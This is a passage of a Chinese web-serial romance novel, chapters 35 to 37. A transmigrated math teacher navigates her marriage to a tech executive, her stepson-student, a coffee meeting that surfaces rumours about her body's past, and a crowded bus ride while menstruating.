七点半,金苒宣布第一次“搭档”学习法结束,住校生回宿舍休息,跑校生则由她带着去东门和家长交接。 直到最后一个学生的背影消失在夜色中,校园门口只剩下金苒和江许黎相对而立。 夜晚的街道安静下来,风掠过梧桐树梢,沙沙作响,路灯在脚下落了小小的光圈。 金苒忽然转头看向江许黎,真诚道:“我听班长说了,多亏你站出来他们才保持安静,谢谢你今天帮我维持纪律。” 江许黎愣了愣。 除了几次路见不平,他在旁人眼中向来叛逆不听话。 这还是第一次,有人对他说“谢谢”。 反应过来表情便有些不自在,避开视线:“没什么,当初说好的。” 她送给他各科老师的备课资料,他帮她看着晚自习,公平交易。 “那也要谢谢你。”金苒笑起来,“答应和认真还是有区别的,你帮我维持好课堂,还带领他们自发学习,是这次活动当之无愧的大功臣,连我都比不过你。” 她说的夸张,语气却是满满的真诚,江许黎更觉耳根发烫,恨不得立刻转身离开,不过最后也没有走成功,因为金苒拉着他进了学校对面的便利店。 二十四小时营业的便利店,灯牌是LED灯珠组成的,通上电便是一片红红绿绿,照得夜晚的黑变成五彩缤纷。 两人进去之后,金苒非常豪气地大手一挥:“为了感谢大功臣,我决定请你喝饮料,想喝什么随便拿!” 江许黎觑她:“什么都可以?” 金苒刚想答应,瞥到少年盯着旁边架子上的茅台,连忙补充一句:“二十块内的!” 江许黎一脸无语:“……” “咳,我是为你着想,等会儿你爸还要带我们去吃烧烤呢。”金苒不承认自己小气,她只是觉得钱应该花在刀刃上,买太多喝不完只会浪费。 闻言,江许黎便知道两人大概达成了什么他不知情的约定。 他也没在意,点了点头,在女人不敢眨动的目光中,走到茅台…背后的货架上,拿起一瓶五块钱的苹果味气泡水。 “走吧。” 他忍笑道。 第35章 第35章要不要一起? 看到少年忍俊不禁表情,金苒还有什么不明白的:“好啊,你居然骗我!” 江许黎拒不承认:“怪我咯,明明是你自己想偏了。” 金苒做势要打人,江许黎扭身就跑,他个头高腿又长,金苒有点追不上——其实真要追也不是不行,只是她顾忌形象,压根没有使出全力。 女孩子总是讲究风度的。哪怕天色已黑,哪怕街道上空无一人,金苒依然保持着优雅得体的淑女姿态。 以至于等江明羧开车到达的时候,除了脸颊泛着红,金苒从头到脚,连头发丝都散发着无可挑剔的精致,江许黎却早就被风吹成了鸡窝头,要不是靠脸硬撑着,还以为是从哪跑出来的流浪汉。 他仰头喝完最后一口气泡水,精准投篮垃圾桶,便一把打开车门坐进去,没有看到老父亲一瞬间的嫌弃。 吃完烧烤,三个人到家时已经晚上九点钟。 闻着满身的烟熏味,金苒迫不及待想去洗澡,她示意性地举起手:“那个,我今晚想桑拿spa,你们两个应该不用吧?” 江许黎摇头。他向来觉得家里的桑拿房像个蒸笼,也实在无法理解刚洗干净,又要把自己蒸出一身汗的行为,见没别的事,果断转身离开了客厅。 于是金苒又看向另外一个人。 江明羧似乎思考了会儿,随即露出寻味的神色:“怪不得小陈最近很高兴。” 小陈就是那个会按摩的佣人,当初招聘时看中了她的本事,可惜家里两个男主人从不按摩,小陈只能做些日常工作,虽说薪资比在外做按摩师高出不少,但总归有些遗憾。 可自从金苒发现桑拿室后,情况就不同了,小陈除了日常工作,隔三差五还能发挥特长给金苒做spa,管家见状顺势给她多加了一份工资。 金苒没想到还有这样的缘由在里面——事实证明,无论在哪儿有一门手艺都是安身立命的底气:“小陈很专业的,我之前低头久了,总觉得不舒服,等她按完之后,睡觉都变得踏实了。” 说到这,她忽然想起伏案工作的不止自己一个人,不由得开口邀请:“你还没有蒸过桑拿吧,要不要一起?” 江明羧掀起眼皮,神情不明地看了她一眼。 半晌,回答道:“好。” / 热气氤氲,蒸腾着自下往上漂浮,聚拢成一团白云,遮挡住眼前的视线。 金苒围着浴巾推门进来,作为桑拿房的熟客,她早就熟悉了最佳桑拿位置,走到离炉子最远的角落坐下,见江明羧径直往对面走,出声叫住了他:“你来这边坐。” 缭绕的水雾中,她没有注意到江明羧身形刹那的停顿。 片刻后,江明羧过来了,倒没有和她靠在一起,而是隔着两三个人的空位,坐到了旁边。 金苒见他离炉子还是有些近,本来想说再过来点,但在看清男人模样的瞬间,噤了声。 洗完澡的江明羧没有穿上衣,赤裸着大半个胸膛,露出线条流畅的肩颈,和轮廓分明的胸腹。 他今年三十五岁,身体接 近成熟的巅峰,加之刻意的锻炼下,肌肉弧度既不过分贲张也不显得单薄,右臂的伤口已经痊愈,疤痕褪去后只留下一道浅粉色的痕迹,在麦色肌肤上显得有些明显。 金苒目光触及而上,暗自忖度应该比她任何一个前男友的都要壮。 有些好奇手感,但忍住了,这种环境下动手动脚可不是什么单纯的行为,说不定江明羧会觉得自己在向他传达某种暗示。 所以她只能遗憾按住了蠢蠢欲动的手,为了让气氛不要那么暧昧,决定聊点儿其他话题:“你今天怎么来晚了,是公司有事吗?” “嗯,本来打算走,分公司那边临时发生了点事。” 他没有说具体是什么事,金苒自然不会没眼力见到去追问,只是心里多少升起了一点点好奇:“明技科技有多少家分公司?” 看过原书的她知道江明羧很厉害,但具体如何厉害,心里却没有概念,试探着询问:“五家有没有?” 话音刚落,耳边便传来男人的笑声,很浅淡,并非嘲笑,但还是让金苒脸颊发烫。 她把这归结于穷人综合症,忍不住恼羞:“笑什么笑,不想说算了!” 江明羧掩饰性咳了几下:“没有不方便,数量和你说的差不多,不过除了明技,这些年公司涉及到了一些其他产业和领域,比如餐饮,玩具,商场地产,还有几支建筑团队,主要同地方政府建立长期合作关系。” 好家伙,衣食住行都囊括其中,难怪在原著中能成为连男主都望其项背的人物。 金苒不禁对他生出几分敬佩——最初只是敬佩他的财富,但深入了解后,发现人家的脑子是真的好使,反观自己,除了在数学上有些天赋外,其他方面实在平平无奇。 想到这里,她又记起了自从寿宴后就杳无音信的贵太太们,突然有了倾诉的冲动:“你可能不知道,那天去爷爷的寿宴,我还做了一件事。” 热气吹拂耳廓,湿润沉甸甸笼罩着皮肤,有些痒意,江明羧没有动:“哦?” 简短的疑问。 金苒这会儿完全不在意男人回应的长短,她迫不及待想找人吐槽,亦或者本能寻求点儿建议:“我们学校上一任的教导主任离职了,校长准备推选新的教导主任,明确表示不看年龄资历,全凭各人的能力竞争。” 江明羧立刻会意:“你想当教导主任?” “对啊,”她有些不好意思,“我的工作不赚钱,当班主任的话听说会很累,所以我想着不如当个教导主任算了,既能多拿一份工资,工作强度又比较适中。” 江明羧没有戳穿她,教导主任可比班主任累多了,他有些好笑,没想到这个女人还有点儿官瘾,嘴上顺着她问:“嗯,挺不错的,不过和寿宴有什么关系?” 见他感兴趣,金苒顿时来了精神,把自己的原因分析以及后续做的计划全盘托出:“只要能拉到富豪给学校捐款或者投资,校长肯定给我记大功,更重要的是,我在他心中的形象从此从一个普通教师,变成有勇有谋的可用之才!” 这样下来,何愁不被校长看重? 不得不说,她的心思虽然弯弯绕绕,但实际实施的每一个步骤都稳扎稳打,直击要害。 如果江明羧是校长,他也绝对会提拔一个能力强、能给学校带来利益的年轻教导主任,而不是凭着年龄和阅历涨上来的“老滑头”。 他微微侧首,目光深沉地凝视着她,桑拿房里温度过于高,这么一会儿,她的鼻头已经蒸得泛红,鼻尖挂着一滴水珠,要落不落。 谈起自己的计划,那双被热气熏得湿漉漉的眸子变得比平时更加亮,熠熠生辉,几乎让人无法移开目光。 “怎么没找来找我?” 他突然问。 金苒微微一愣。 不是字面意义上的愣,是真的愣住了。 她因为江明羧的疑问而感到了疑惑,也忍不住问自己,怎么没有去找他呢? 回想当时的情况,出于身份的考虑,她不得不避开那些圈子里的老总,转而从他们的夫人入手,自然没有考虑过比那些老总还要厉害的江明羧。 现在思考,是怕被拒绝吗? 这个念头刚浮现就被她否定了。如果怕被拒绝,她一开始就不会主动接下校长的任务,也不会主动在宴会上和那些贵太太们交朋友。 金苒恍惚意识到,她在江明羧面前,总是不自觉地绷着一股劲。那种微妙的、不愿示弱的劲儿,让她干脆连说都没有说。 哪怕这次提起来,也不是拉对方入伙,而是为了询问一些职场上的谈判技巧。 认识到自己内心的想法后,金苒决定……继续顺其自然吧。 她借用他的地位权势,但却没有打算一辈子都依靠对方,如果这次江明羧能够参与进来,当然很高兴,可如果对方看不上这点儿蝇头小利,她还有其他目标,不至于束手无措。 实打实两边都不丢~ 她笑起来:“我不是第一次接手这样的事情嘛,有点儿担心办不好。” 江明羧疑惑地挑眉。 金苒理直气壮:“如果失败了,让你赔钱怎么办?赔你的钱就是我的钱!” 所以前期当然可着外人坑。 明白过来她的意思,江明羧忍俊不禁。 “你倒是……”他斟酌了会儿,“很为我着想。” “那不可,我们毕竟是一家人。”说到这里,她不由得挪了挪身子,靠得更近了些,嗓音软软的,带上蜜糖似的哄弄,“那个,为了不让我们赔钱,你能不能教我点儿技巧?” 她靠近得太突然,江明羧一回头,两人的鼻尖几乎碰到一起。 热气扑面而来,这次他终于闻到了香,无孔不钻的香味,沿着被水打湿的圆润肩膀,一路往四处蔓延。 桑拿房的温度越来越高,潮湿的空气黏着在肌肤上,分不清是汗还是蒸腾的水。江明羧的视线不由自主地掠过她泛红的锁骨,缠绕在胸前的浴巾,堆挤着满目的丰盈。 他喉结动了动,再开口,声音有些哑:“你想知道什么?” 金苒满心都是对知识的渴望,丝毫没有察觉问题。 把当时贵太太们的表现告诉他,语气颇为郁闷:“我看她们分明都动心了,但现在都快过去一周了,一个人也没有联系我。” 金苒再蠢也知道是那些太太反悔了,可为什么反悔呢?她想不明白,对于接下来要做的事情,更是两眼摸黑。 江明羧终是克制地避开视线,一时间有些后悔答应蒸桑拿,嘴上心不在焉问:“这些人里面有没有你熟悉的?” 金苒想了想:“有一个姓林的太太,她想要开服装店,我给她提了点儿意见,我们交换了联系方式。” “那你可以再和她约一约。” “她会答应吗?” 这次,江明羧只说了一句意味深长的话:“铁杵磨成针。” 只要坚持,就没有办不到的事情。 外人看着商业合作各种高大上,实际谈判过程中,除了必要的规定,多少存着点儿人情在里面。 “抽空把你的推介方案发给我,我帮你改一改。” 闻言,金苒眼睛一亮。 不说他的意见如何,修改方案可是实打实看得到的好处,她为自己曾经小人之心君子之腹感到羞愧,他这么好她要怎么报答他呢?要不等会儿让小陈先给他按摩吧! 没想到江明羧却拒绝了,表示自己还有事要处理,金苒只能挥手告别,“情不得已”享受小陈的按摩spa。 / 一门之隔,言说处理事务的江明羧并没有立刻去书房。 他沉默地站在原地,整张脸隐于阴影处,可身体不安分的躁动,却在时刻提醒着他刚才发生的事情, 许久,他拿起手机拨通了一个号码:“事情查得怎么样了?” / 次日,浑身轻松。 去到学校的金苒受到了办公室老师们的热烈欢迎:“听家长反应,你那搭档学习效果不错。” “可不么,连校长都知道了,刚才过来的时候还特意表扬了咱们金老师。” 金苒没想到短短一晚上就引起这么大反响,连忙谦虚地摆摆手:“是学生们自觉,再加上各位老师帮忙准备的习题资料,大家都有功劳。” 到了中午,就连楼上的徐珍也听说了。 去食堂吃饭的路上,徐珍抱着金苒的胳膊诉苦:“明明同一批进来的,你已经找到了方向,我却在原地踏步,今天早上四点钟还要被家长电话吵醒,我真快崩溃了。” 闻言,金苒皱了皱眉:“这样下去不是办法,虽然老师有责任,但对于这样的巨婴家长不能一味谦让。” 徐珍点头:“你说得对,我就是不会拒绝人。” “要不你把手机给我,我帮你拒绝?” 闻徐珍有一瞬间的心动,但随即摇了摇头:“算了,还是我自己来吧,这毛病改不掉,以后还会有新问题。” 于是金苒便不再多说什么。 她们是朋友,可以互相提意见,但不能强迫对方一定按照自己的意见行事,只道:“有需要的话随时来找我。” “呜呜呜呜,感动,我要给你生猴子。” 两人到食堂排队打菜,碰到了吃完饭离开的王琛。 对方看见她们,热情邀请:“这周末我们青年教师俱乐部组织爬山活动,你们要不要一起来?” “爬什么山?”金苒好奇地问。 “市内的丘平山,”王琛解释道,“海拔不高,风景不错,正常速度一个小时就能登顶。山顶还有个玻璃栈道,可以俯瞰整个城区。” 徐珍闻言眼睛一亮。 自从入职以来,她几乎把所有时间都花在了备课和批改作业上,确实很久没有外出活动了,悄悄拉了拉金苒的衣袖:“你陪我一起去好不好?我一个人有点不好意思。” 金苒看着好友期待的眼神,笑着点头:“行啊,正好周末也没安排。” “太好了!”王琛难掩喜色,“那我待会把具体时间和集合地点发给你们。” 等离开食堂,王琛便迫不及待在名为青年教师俱乐部的群里发消息:【成功邀请到两位女老师参加活动!】 群友:【(大拇指)】 群友:【还得是老王,这次的联谊有着落了。】 第36章 第36章是我见过最帅气的摩托车…… 那天江明羧提过建议后,金苒便试探给林太太发了条消息,邀请她出来喝咖啡。 没想到居然真的把人邀了出来,约定好见面的时间和地点后,金苒便先去给三班的学生上课。 得益于“搭档”学习,学生们对数学的热情大幅高涨。 只要是金苒的课,所有人都格外积极,课堂提问环节哪怕不确定答案,也要把手举得高高的,生怕被金苒忽视。 有时候,连王舒雅都抢不到机会,只能拿着笔记在一边干着急。 金苒还在课堂上和大家一起回顾晚自习的“谜题”。 然后告诉学生,下次的“搭档”学习会有类似的题目,届时获得前三名的队伍可以得到小奖品。顿时,走神的学生不敢走了,一个个瞪大眼睛,势必要将答案印入脑子里。 课堂中途,金苒突然感觉小腹传来微微的坠胀感。 她有所预感,但并没有慌张,下课后因为给学生答疑解惑,又在教室门口停留许久,等回去后一看,果然是来了生理期。 说起来,这还是她穿书后的第一次生理期。 原身的身体大概有点儿亚健康,气血不足,每到晚上便手脚冰凉,所以生理期的时间也不准确,金苒随意算了算,前后这两次的间隔最少也有四十天了。 对于上辈子姨妈准到离谱的金苒来说,多少有些不适应。 更让她不适应的是那种若有似无的不适感。 非要让她形容,大概就是肚子里有根五花大绑的绳子,时不时会朝着不同方位拉扯,要知道金苒以前来大姨妈的时候从来都是头铁喝冷饮,火锅只吃辣火锅的主儿,哪曾想会遇到这种情况。 识时务者为俊杰,金苒非常老实地放下刚买的冰奶茶,然后给自己倒了一杯热气滚滚的白开水。 嗯,其实也挺好喝。 生理期来得突然,但好在那点儿微微的痛意,并不影响日常生活。 晌午休息时,金苒按照和林太太的约定,打车来到见面的场所——一家高档的咖啡厅。 告知waiter信息,对方恭敬地将她带到一个靠窗位置,看着座位上卷发红唇的女人,金苒差点儿没认出来。 同上次相比,林太太变化着实有些大,身上穿的是一件缎面旗袍,盘扣设计束着脖颈,头发挽在侧边,整个人优雅又高贵:“多亏了你的鼓励,我最近重拾画笔开始设计衣服了,这件就是我自己设计的,怎么样,还能看吗?” 金苒回过神,惊讶赞叹:“何止是能看,简直太漂亮了!” 如果自己有这样的才华,早就大手一挥、大展宏图创立个人品牌,哪里愿意被男人以爱之名困在家里。 林太太被她的话逗得笑出声:“我就说没看错人!上次见面便觉得和你投缘,现在更喜欢了。”她亲热地拉住金苒的手,“要不是年纪差得有点多,真想当场认你当妹妹。” 金苒眨眨眼:“林姐,您可别说自己大了,再大还能大得过我家那位?” 林太太今年刚过三十岁,比起三十五岁的江明羧,的确算得上小。 “那我就厚着脸皮叫你一声妹妹了。”林太太笑容更显真诚。 金苒虽然是带着目的来的,但见到林太太后,反而没有主动去提投资的事情。 两人像多年老友般相谈甚欢,从珠宝鉴赏聊到新款包包,从美妆技巧侃到圈内八卦,顺便点评了一下娱乐圈最近的小鲜肉,哪个身材好,哪个嘴巴甜会哄人,得知林太太和好几个明星都有联系,金苒脸上的惊诧终于掩饰不住。 “噗,这有什么,改天我把他们约出来你也一起来玩,就当打发时间找个人说说话。” 金苒听得疯狂心动。 不至于有什么坏心思,比较起来,更多的是一种好奇心理,试问谁不愿意看帅哥呢? 人都是感官动物,金苒这样的俗人自然不可避免,有时候看到帅哥美女,她午饭都能多吃几口。 虽然江明羧和江许黎也帅,但这种帅她天天都能看到,就像天天吃山珍海味的人偶尔想尝尝街边小吃,她想看点儿新鲜的也能够理解吧? 还有一点,金苒听很多人说明星和普通人有壁,甚至出现过有演员在电视剧里被称为丑男,现实中见到却惊为天人的事情,这让她很好奇那种电视上本来长得就好看的明星,现实中得帅成什么样子啊。 林太太很久没有聊得这么畅快了,咖啡喝完还有些意犹未尽,最后,她兴致勃勃说自己已经开始筹备自己的工作室,届时可以免费给她设计衣服。 “那可说好了,到时候林太太要是忘了,我可不依。”金苒故作威胁的样子。 “放心吧,忘了谁也忘不了你。” 有时候,人和人的缘分就是这般巧合,宴会上那么多人,林太太偏偏和差五岁的金苒一见如故,聊了会儿已经开始走心:“其实很早之前我就听别人说起过你,现在看来都是些不着调的话,像你这么好的姑娘,怎么可能会做那样的事。” 金苒心思一动。 林太太口中的“传言”,多半是关于原身的,恰好她没有原身的记忆,有些事 情可以打探出来,有些事情却无从下手。 表面依旧笑吟吟的,语气也带上几分无奈:“我也不知道那些话是怎么传出来的,最离谱的一个,竟然说我拿刀逼着我先生娶我。”她摇摇头,“您也了解他的性子,旁人哪能强迫得了他啊。” “这倒是真的。”林太太同情地看了金苒一眼,“旁的不说,上次宴会上江总千里送手帕的戏码,可是惊掉了一群人的下巴,看着跟偶像剧似的,那句话怎么说来着,老房子着火,越烧越旺…” 话到这,她突然想起眼前的女人正是老房子的妻子,赶紧往回找补了几句:“咳,不是说江总老的意思,我家的只比江总大两岁,两人站在一起却和父子似的。” 年轻女孩子脸皮薄,听到调侃,金苒脸红得像刚剥开的荔枝肉,瞧着很是不好意思。 但她还是强装镇定,用满怀好奇的目光望着林太太:“林姐,你还听过什么传言啊?还怪好笑的,说来让我听听,回头正好当笑话讲给明羧。” 林太太当真认真回想了一番:“也不算太多,其实翻来覆去就那么几件事。说得最多的是你脾气大,动不动责骂佣人……”她顿了顿,猛不丁笑出声,“最可笑的是有人说,你和江总结婚前一天还在和男朋友约会吃饭,这都什么跟什么呀?” 其他的传言林太太勉强能理解,但这条实在是太离谱了,江明羧那样的人,怎么可能会娶一个有男朋友的女人。 金苒笑容却窒了窒。 男朋友? 原身还有男朋友吗?她怎么完全不知道?! 眉头不可察觉地皱起来,金苒心中快速思索。 一种可能,流言是真的流言,有人故意给她泼脏水,目的就是为了搞坏她的名声。 另外一种可能就有些糟糕了。 但金苒很快就镇定下来。 原身傻金家可不傻,绝对不允许欺骗的事情发生,即便真的有这个“男朋友”的存在,她更倾向于,在结婚前对方就已经变成了前男友。 过于复杂的信息太阳穴一跳一跳,金苒疲惫地捏了捏。 原本,她以为原身对江明羧情根深种,所以才会抢走金静的联姻机会,可现在告诉她,对方其实有男朋友。 这让她怎么也没办法相信,一个在结婚前一天还和男朋友吃饭的女人,会突然性情大变到爱上另外一个男人,还对对方死心塌地,至死不渝。 所以大概率是装的。 那么问题来了,原身为什么要装作喜欢江明羧? / 和林太太道别后,金苒看了眼时间,发现还早。她打开手机地图,最近的公交站只有五百米远,便决定坐公交车回学校。 结果转过十字路口的时候,她看到了两个推着摩托车走路的熟人。 “江许黎?” 听到声音,江许黎和陈训良同时回过头。 金苒挑了挑眉:“真是你们啊,怎么跑这边来了。” 咖啡店虽然高档,但位置实在偏僻,在下午有课的情况下,大部分文承的学生会选择食堂或者校门口的小吃街,很少会特意跑到这么远的地方。 她正疑惑,那边大嘴巴的陈训良已经气愤道:“别提了,我们过来买东西,黎哥的车胎不知道被哪个缺德的给扎了,只能先推着送去修车店。” 江许黎皱眉踢了他一句,陈训良反应过来,讪讪地捂住嘴巴:“后……金老师,我不是故意骂人的,实在是太生气了。” 他指着那辆拉风的摩托车,心疼到滴血,虽然不是他的车,但黎哥最近偶然会允许他骑几分钟,这和他的又有什么区别:“你看,前后两个轮子都扎了,肯定是人为!” 江许黎无语:“吵死了,小点声!” 陈训良幼小的心灵顿时深深受到伤害,捂住胸口,做出一副受伤的表情,转头向金苒告状:“金老师快看他!狗咬吕洞宾,不识好人心!你可得替我做主啊。” 金苒:“……” 谢谢,有被恶寒到。 默默搓了搓胳膊上的鸡皮疙瘩,每次看到这对欢喜冤家,她都严重怀疑男生的幼稚程度与年龄无关,因为十五岁和五岁根本没有任何差别! 不过她心里清楚,虽然嘴上总是不饶人,但真遇到什么事,陈训良绝对是第一个冲出来维护江许黎的。 反之亦然。 敷衍地地挥挥手,像赶苍蝇似的拉架:“各打五十大板,退下吧。” 陈训良:“……” 比起高中生的嘴架,金苒显然更关心的是那辆IconSheene的车子。 在此之前,她对于摩托车的想象一贯来自于热播电视剧——潮湿的海风,傍晚落日余晖,女主角坐在后座,胳膊紧紧环抱着男主角的腰,两人如交颈鸳鸯般依偎在飞驰的摩托上,发丝在风中浪漫地纠缠。 因为过于浪漫,金苒甚至考虑过要不然干脆去考个摩托车的驾照算了,结果好奇查了一下江明羧的车的价格,然后直接敬而远之。 打扰了,这么一辆摩托车,居然要几百万! 虽然很拉风,很帅气,很让人心动,但几百万??? 这个世界能不能杀了有钱人啊。 想到这,她的心也逐渐疼起来,几百万的车胎就这样被扎了,她宁愿那钉子是扎在自己身上。 “还能修好吗?”金苒忧心忡忡。 江许黎虽然也心疼,但在三人中还算属于冷静的,点了点头:“应该可以。” 玩摩托车两年时间,从最初的菜鸟变成了半个行家,论理论知识,江许黎比一些专业修车师傅还要扎实,本来想说自己就能修,话到嘴边突然顿住。 他想起这个女人向来讨厌自己骑摩托,每次都用那种看街头混混的眼神瞪着,仿佛他是什么不务正业的纨绔子弟。 少年抿了抿唇,最终沉默地闭了嘴。 另一边的金苒压根没有注意到江许黎的异样。此刻,她全部的注意力都被眼前这辆摩托车吸引。 以前只能远远观望,现在终于有机会近距离欣赏,免不得绕着锃亮的车身转了一圈又一圈,越看越觉得惊艳,脑海中不由得闪过一个念头:要不……找个机会让江许黎载她兜一圈? 很快她又摇了摇头。 算了算了,旁人不清楚,同住一栋别墅的金苒可是知道江许黎有多宝贝这辆红色的IconSheene,说是当祖宗供着也不为过,估计连亲爸江明羧都没有坐过后排,她一个后妈想peach呢。 于是及时止损,惊艳只流于欣赏:“真好看,我宣布这是我见过最帅气的摩托车!” 江许黎微微一愣。 这话,是在夸赞? 他诧异地看向金苒,默默观察了一会儿,然后发现她似乎是真的赞扬,而非阴阳怪气,看到车轮爆胎,比自己这个当事人都要心疼。 眼见对方恨不得亲自手上把钉子拔出来,他才回过神,抽抽嘴角,不知道是安慰自己还是害怕爱车进一步遭受迫害,伸手将人拦住:“只是扎了轮胎而已,很简单就能修补。” 话虽如此,但金苒觉得这种价值几十万的顶级机车,普通的补胎方法怎么配得上?怎么也得镶个金边吧! 把车交给修车铺的老板,对方表示明天才能修好。 骑着回去是来不及了,陈训良挠挠后脑勺,这种偏僻的地方打车都不好打,看到同样站在路边的金苒,便顺嘴问了一句:“老师怎么回去?要不然我们一起吧!” 他算盘打得啪啪转,心想金苒不是开车来的就是打车来的,而且她还是黎哥的后妈,只要自己问了,对方哪怕再不愿意,于情于理都会捎带上他们。 果然金苒点了点头:“好啊,我有车,你们跟着我走就行了。” 陈训良立刻乐开了怀,无视兄弟杀人的眼神,喜滋滋跟上去,十分钟后,他站在公交车站牌前,吹着夏日暖暖的风,对着“满载而来”的公交车发出了致命询问。 “额,这就是你的车?” 金苒面朝两个少年促狭地笑了笑:“对啊,有什么问题吗,体积大容量高,环保又经济,最重要的 是——”她晃了晃从徐珍那借来的公交卡,“完全免费哦。” 陈训良:…… 谁来告诉他,堂堂明技科技的总裁夫人,为什么出门要坐公交车! 他现在逃走还来得及吗? 第37章 第37章她们女生真不容易 两位少年人生第一次坐公交车,也是巧了,这班公交路过某个菜市场,车上全是刷敬老卡的爷爷奶奶,上车的时候,里面已经没有空位置,只能拉着吊环站在过道中间。 这样还要被老头老太太嫌弃:“哎哟,小伙子你挡着我喘气啰。” “长这么高做么子咯,真是占大空。” 江许黎:“……” 身边是人挤人,脚跟不沾地的空间,鼻尖充斥着汗馊味、葱姜大蒜味和韭菜盒子味混杂的诡异气息,有些让人怀疑人生。 陈训良更是悔不当初,他怎么就没管住这张破嘴呢! 实在没忍住,顶着老头老太太刀子般的目光,硬是挤到江许黎身边,压低声音问道:“黎哥,你后妈,哦不,金老师怎么会坐公交啊?” 像江家这样的人家,虽说行事低调,但到底是A市新晋的豪门,金苒既是他们老师,更是江叔叔的配偶,这样显贵的身份,和一群菜市场抢菜的老人们同乘公交车,总是有点儿让人意想不到。 总不能是……江叔叔不给她钱花?! 这个大胆的猜测让陈训良倒吸一口凉气,满脸信仰塌房的崩溃,见状,江许黎直接翻了个白眼,连解释都懒得给。 要不是对方非要拉着他蹭车,他现在应该舒舒服服坐在出租车里,哪用得着在这受罪。 思及此,余光不自觉地瞥向身旁的女人。她正倚着扶手杆站在那儿,方才就有些苍白的脸色这会儿看着更白了,额头挂着密密麻麻的汗,很不舒服的样子。 他眉头微蹙,迟疑片刻后开口道:“你要是站不稳,可以扶着我……我们两个。” 陈训良接话:“对对对,金老师你这个身高应该抓不紧扶手吧,不用担心,我们俩可都是一米八的大高个儿,随便你扶!” 江许黎淡淡地纠正:“请注意措辞,你一米七九,我一米八二。” 陈训良顿时涨红了脸:“就差一厘米!穿上鞋就是一米八!” “那也是一米七九,我才是一米八二。” 金苒因为肚子作痛,整个人有些无精打采的,但看到两人斗嘴的样子,还是忍不住“噗嗤”笑出了声。 果然男生只要超过一米八,就会想方设法让别人知道他的身高。 两人吵得不可开交,正在这个时候,公交车突然一个急转弯,江许黎和陈训良猝不及防下,被惯性甩出去大半的距离,最后手忙脚乱抓住扶手才堪堪稳住身形,没有丢大脸。 回头一看,金苒却像脚下生了根似的纹丝不动,见他们望过来,还无辜地眨了眨眼:“我经常坐公交车,早就练出来了,不抓扶手也能站稳。” 江许黎:“” 陈训良:“……” 中途公交车到站,车上的老年人开始慢悠悠地下车,站台上等候的乘客则迫不及待地涌向车门。 常年挤公交的人早已练就了一身本领——眼睛刚瞄到空座,身子就已经稳稳落座。 金苒三人慢了点儿,等反应过来,车厢里只剩下最后一个空位。 江许黎离得最近。 他掀起眸子,与另外一位同样对座位虎视眈眈的中年男人对上视线,电光火石间,率先一个箭步上前,硬是在对方挤过来的瞬间,抢先一步占下地盘。 中年男人扑了个空,脸上浮现出懊恼的神色。 然而木已成舟,他也没有什么办法,只能恶狠狠地瞪了江许黎一眼,随即悻悻转身去其他地方站着。 目睹这一切的金苒简直叹为观止。 她只知道江许黎打架厉害,没想到抢座位也是一把好手,动作干脆利落,丝毫不给敌人反应的时间,嚣张劲十足。 不过以对方第一次坐公交的经历来看,说不定连他都不知道自己还有这种天赋。 唔,这算不算开发了更多可能性? 就在金苒暗自感慨,以为江许黎要理所当然地坐下时,少年却忽然侧身,让出了位置。 “你坐吧。” 他单手插兜,下颌微抬,态度拽酷到没朋友,“我更喜欢站着。” 金苒因为这个理由愣了一下。 随即反应过来,抿嘴笑:“那就谢谢啦。” 她没有戳穿少年的好心,径直拿着包包走到位置上坐下,想着等人累了她再站起来轮换。 未曾想直到抵达学校,两个高中生也没有喊一声累,于是轮换的打算自然而退也就落空了。 …… 江许黎只当金苒是单纯晕车才会不舒服,想着休息会儿应该就没事了。 可当晚自习的铃声响起时,总是准时出现在教室门口的身影却迟迟未见。 纪律委员去办公室请老师,结果独自带回来一摞新的卡片:“金老师让我们先自己做题。” 顿时,三班的学生发出不满的嘘声:“啊!金老师为什么不来啊?” “金老师不来,我学习的动力都小了。” “就是啊,而且我还有个超级难的题目想要问金老师呢。” 王舒雅严肃地拍桌子:“好了,不管如何,咱们还是好好做题吧,不能让金老师操心。” 提到金苒,躁动的教室渐渐安静下来,不知不觉中,他们心中已经认同了这个新来的数学老师,哪怕对方不在这里,也自觉遵守双方设定的规则。 好在经过几次练习之后,三班的学生已经对流程非常熟悉,队友之间养成了一定默契,拿到卡片后便迅速投入到解题游戏中。 要知道,成功通关的前三名队伍可是能获得小奖品! 尽管金苒说是很小很小的奖品,不值多少钱,但他们还是非常期待! 互助学习进行得热火朝天,群情鼎沸中,一向勇争第一的江许黎今天却破天荒有些心不在焉。 解题过程中几次出现失误,直接被第二名的“双王”组合给超越,急得陈训良语言系统返祖:“黎哥,麻利点噻!再这样咱俩要垫底了!” 江许黎这才回过神,勉强集中注意力完成剩下的题目。 好不容易熬到课间休息,陈训良一把拽住准备起身的好兄弟:“不是,黎哥你今天咋回事啊?身体不舒服?” 他瞪着眼睛,一脸的不理解。 江许黎敷衍:“没什么。” 话虽如此,却是走到王舒雅的桌子前,屈指在桌面上敲了敲:“问你个事。” 王舒雅正苦心钻研一道数学难题,这是她特意从金苒那里要来的附加题,虽然难度不小,却让她解得津津有味。 听到声响后才慢半拍抬起头——看清来人的瞬间,她下意识想把题目藏起来,随即又因这个过于刻意的动作懊恼地咬住下唇。 以前的江许黎可从来不会主动找她说话,每次都是自己费尽心思找借口接近。想到这里,她终于从题海中重拾起小女儿的心态,眼睛明亮似星:“江许黎,你找我有什么事吗?” 江许黎故作随意地问:“金老师怎么了?” 闻言,王舒雅有些犹豫,但因为问的人是自己喜欢的男生,还是说道:“我瞧着,金老师好像有点儿不舒服。” 这时陈训良也凑过来:“不舒服?上午不是还好好的吗?”他挠了挠头,“难道是坐车的时候?现在想想,她那会儿确实安静得有点反常。” 江许黎同样皱了皱眉:“她没有去医务室?” 文承中学的医务室二十四小时都有校医值班,目的就是为了应对住校生突发状况。连小学生都知道生病要吃药,她一个成年人反倒这么不把自己的身体当回事? 王舒雅摇摇头:“去了也没用的。” “不去怎么知道没用?”江许黎眉头皱得更紧了。 见他一直追问,甚至有些打破砂锅问到底的架势,王舒雅突然涨红了脸,语气不由带上了 恼羞:“我是女生当然知道!你们男生根本不懂,烦死了!” 江许黎:“” 一直到被赶走,陈训良还一脸茫然:“所以到底怎么了?金老师的病很厉害吗?”他面露担忧,“不然你还是给你爸打个电话说一声吧!” 而江许黎早在王舒雅提到“男女生”时就反应过来,顿时尴尬得耳根发烫。 生物课本上有关于男女生的性.别教育,确实提到过有些女生在生理期的时候会腹痛,他当时只是随意一看,并没有往心里去。 回到座位后,江许黎盯着手机屏幕犹豫了很久,最终还是点开了那个许久未联系的聊天框。 